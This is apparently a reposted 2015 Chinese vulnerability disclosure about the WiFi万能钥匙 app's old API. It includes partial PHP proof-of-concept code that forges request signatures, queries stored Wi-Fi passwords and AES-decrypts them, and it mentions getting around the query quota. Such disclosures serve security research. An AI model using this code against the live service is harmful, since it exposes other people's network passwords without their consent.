网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

WIFI万能钥匙密码查询接口算法破解(可无限查询用户AP明文密码) - 网站安全 - 自学php网

来源:未知    时间:2015-04-15 13:08 作者:xxadmin 阅读:

[导读] 凡是APP就涉及到通信接口,看了下万能钥匙的APP,走的明文HTTP协议这就简单了。 分析Android程序有个杀手锏,就是程序在更新迭代的时候新版本做了API改动,但为了兼容考虑,老版本存...

凡是APP就涉及到通信接口,看了下万能钥匙的APP,走的明文HTTP协议这就简单了。


分析Android程序有个杀手锏,就是程序在更新迭代的时候新版本做了API改动,但为了兼容考虑,老版本存在问题的API不会下线,一直存在线上。。。
 

play.jpg



从GooglePlay下载了1.X版本的WIFI万能钥匙,确实还能用,通过程序包分析算法(说一下在,各种key,salt明文存储,连混淆哪怕是字符拼接都没有。。。)
 

key.png



这个是查询密码用到的数据包,以及参数中sign(签名)的算法,其实就是这些数据进行排序后用salt算个md5。新版本的万能钥匙还有个retSn,实现链式认证,也能突破,但这个报告只说1.x版本的API问题(1.x时代很多细节明显没有考虑完善,基本只靠sign做安全)。
 

1.jpg



用JAVA实现查询密码请求的签名
 

2.jpg



为了验证真实性,我给附近的一台OpenWrt SSID前加了个“1OpenWrt”,在计算签名查询,bingo!
 

3.jpg





第一部分完成了,但发现返回的密码竟然好长一串似乎还真没泄漏用户明文密码哎,但没明文客户端怎么连接呢。。。通过apk分析发现是用了AES加密,当然key和iv也泄漏了。
 

aes.png



继续用JAVA程序实现
 

jiemi.png



嘿嘿,原来你家密码是这个(跟这个朋友的分析一致 http://drops.wooyun.org/papers/4976)

另外测试的过程中突然提示
 

no.png



经过分析原来是dhid每日有查询限额,继续分析dhid算法,是通过服务器返回的,具体伪造不在说了,基本还是分析包,打包sign,发包了。

mima1.png


 

mima2.png



这样,就实现了通过SSID,和BSSID查询任意AP明文密码了,本地写了个自用的玩玩。为了证明真实并且避免被恶意利用,我只放出部分POC代码,厂商一看就懂。

function sign( $array , $do ){
// 签名算法
$request_str = '';
$salt = '';
$sign = '';
// 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort 
ksort( $array );
foreach ($array as $key => $value) {
$request_str .= $value;
}

if ( $do == 'querypwd') {
$sign = md5( $request_str . SALT );
} elseif ( $do == 'querydhid' ) {
$sign = md5( $request_str . SALT2 );
} else {
NULL;
}
return $sign;
}



查询密码的

function get_pwd(){
$ssid = addslashes( $_POST['ssid'] );
$mac = addslashes( $_POST['mac'] );
$data = '';
$array = array(
"och" => "guanwang",
 "ii"=> "123456789012345",
"appid"=> "0006",
"pid"=> "qryapwd:commonswitch",
"mac"=>"xx:xx:xx:xx:xx:xx",
"lang"=>"cn",
"bssid"=>"$mac,",
"v"=>"58",
"ssid"=>"$ssid,",
"method"=>"getSecurityCheckSwitch",
"uhid"=> "a0000000000000000000000000000001",
"st"=> "m",
"chanid"=> "googleplay",
"dhid" => get_dhid()
);
$sign = sign( $array , 'querypwd' );

foreach ($array as $key => $value) {
if ( $key == 'bssid') {
$data .= "sign=" . strtoupper($sign) . "&";
}
$data .= "$key=" . urlencode( $value ) . "&";
}



AES解密的

function decryptStrin($str,$keys=AESKey,$iv=AESIV,$cipher_alg=MCRYPT_RIJNDAEL_128){
    //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
    $decrypted_string = mcrypt_decrypt($cipher_alg, $keys, pack("H*",$str),MCRYPT_MODE_CBC, $iv);
    return $decrypted_string;
}



整个过程感觉自己又学到不少啊。。。



PS:旧版本是默认分享用户WIFI的,1.0.8这个版本,厂商还记得吧?确实是用户同意的前提,不知情的同意?

 

yaZ喎?http://www.2cto.com/kf/ware/vc/vc2hpMS5wbmc=" src="/uploads/allimg/150415/130QLE9-10.png" width="600" />


 

yaoshi2.png

 

解决方案:

过滤

 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论